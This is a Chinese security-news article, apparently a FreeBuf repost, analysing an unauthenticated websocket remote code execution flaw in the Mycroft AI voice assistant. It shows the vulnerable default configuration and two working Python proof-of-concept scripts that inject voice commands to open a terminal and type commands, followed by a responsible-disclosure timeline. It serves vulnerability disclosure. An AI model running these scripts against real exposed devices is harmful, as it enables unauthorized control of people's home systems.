freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

智能语音应用Mycroft AI的远程代码执行漏洞分析
clouds 2018-06-29 13:00:06 366967

xxx.jpg

当我在Arch Linux社区开源软件包的开发贡献过程中,发现了一个很有意思的项目-麦考夫Mycroft AI,它是一款开源且基于人工智能(AI)的语音助理应用,在对它的研究过程中,我发现了一个不用点击交互即可实现的远程代码执行漏洞(RCE)。

与业界有名的Amazon Echo和Google Home不同的是,Mycroft最早于2015年开始在海外网站发起众筹来批量生产其Mark-I 和 Mark-II 代产品,而3月份其Mark-II代产品上线4天后就被售罄脱销。Mycroft AI智能语音助理基于Linux Desktop/Server和Raspberry PI架构,现广泛用于智能自动化家居系统中,其新款应用将订制化应用于捷豹和路虎的某些车型中。

代码分析

在对Mycroft AI的源代码分析中,我发现了其中有意思的一个地方

...
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [
        (route, WebsocketEventHandler)
]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
...

在这里它定义了一个websocket服务端,用来接收类似于Andriod远程客户端的指令,在mycroft.conf中给出了websocket服务端设置的具体定义:

// The mycroft-core messagebus' websocket
  "websocket": {
    "host": "0.0.0.0",
    "port": 8181,
    "route": "/core",
    "ssl": false
},

从以上代码可知,在0.0.0.0:8181/core上默认的websocket服务端竟然无需任何身份验证,好吧,让我们写个脚本来测试一下:

#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
    async with websockets.connect(uri) as websocket:
       
 await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]}, 
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())

很好,我们能让Mycroft AI自己说 "pwned",这样,我们也能让Mycroft AI远程发声,但这也不算是什么大发现,最多也只能吓唬一下朋友而已。

Mycroft AI 的技能系统

深入挖掘之后,可以发现Mycroft内置了一个技能系统,可以在其基础上安装其它你想要的语音技能,听起来很好,不是吗?

那么,Mycroft的一种技能是由哪些元素组成的呢?从给出的说明文档可以看到,Mycroft的技能元素如下:

dialog/en-us/command.dialog: 包含了能触发技能的语音命令

vocab/en-us/answer.voc: 包含了Mycroft发声的答案

requirements.txt:  包含了由 pip 方式安装的技能所需安装包

__int__.py:包含了技能的主函数和触发执行时的需要加载的命令

利用分析

有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL未被一些在线网站白名单化。这虽然有可能,但多少有些麻烦。ccc.gif

测试实现

有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL是一些未被白名单化的在线网站。这虽然有可能,但执行起来多少有些麻烦。

Mycroft 内置了很多默认技能,如 open 这种能打开其它第三方应用的,还有一些经过白名单化但未被安装在Mycroft设备上的技能。通过再次研究,我发现了一个名为skill-autogui的有趣技能,它的主要功能是对鼠标键盘的控制,好吧,我们就用它来试试!把所有以上可利用的发现组合成一个PoC:

#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
    for payload in cmds:
        async with websockets.connect(uri) as websocket:
           
 await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]}, 
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
            time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())

pwn.py "install autogui" "open xterm" "type echo pwned" "press enter" 命令运行exploit代码之后,就能在一台远程Mycroft设备的Linux系统上执行命令:

PoC.gifNotes:

open xterm:由于我的测试用Linux是桌面版的,所以,远程测试机也是直接通过终端TTY来执行的;

目前Mycroft的技能分支包存在一个比较大的变化包括autogui在内的一些技能是暂不可用的,但这不是重点。Mycroft的许多技能可于智能自动化家居系统进行交互,所以,它的其它服务或许也存在可被控制利用的可能。这个漏洞的关键在于,其中websocket服务端缺乏必要的身份验证。

漏洞影响设备

所有搭载有Mycroft,且websocket服务端暴露在网的设备(Mark-I代应用的websocket接口默认在防火墙之后)

漏洞报送进程

08/03/2018  漏洞发现

09/03/2018  漏洞上报

13/03/2018   Mycroft技术总监答复称他们已经注意到该漏洞,并将及时修复

06/06/2018  Mycroft技术总监回复称漏洞修复完成,并会警告 Mycroft用户配合防火墙使用

09/06/2018  漏洞公开

*参考来源:github,Freebuf clouds 编译,转载请注明来自 FreeBuf.COM

# Mycroft
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 clouds 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
clouds LV.9
I'm a robot , don't talk to me , code to me.
  • 348 文章数
  • 612 关注者
挖洞经验 | 获取国际象棋对战网站Chess.com五千万用户信息
2021-02-24
挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用
2021-02-23
挖洞经验 | 以账户更新方式实现某大公司网站普通用户到管理员的提权
2021-02-22
文章目录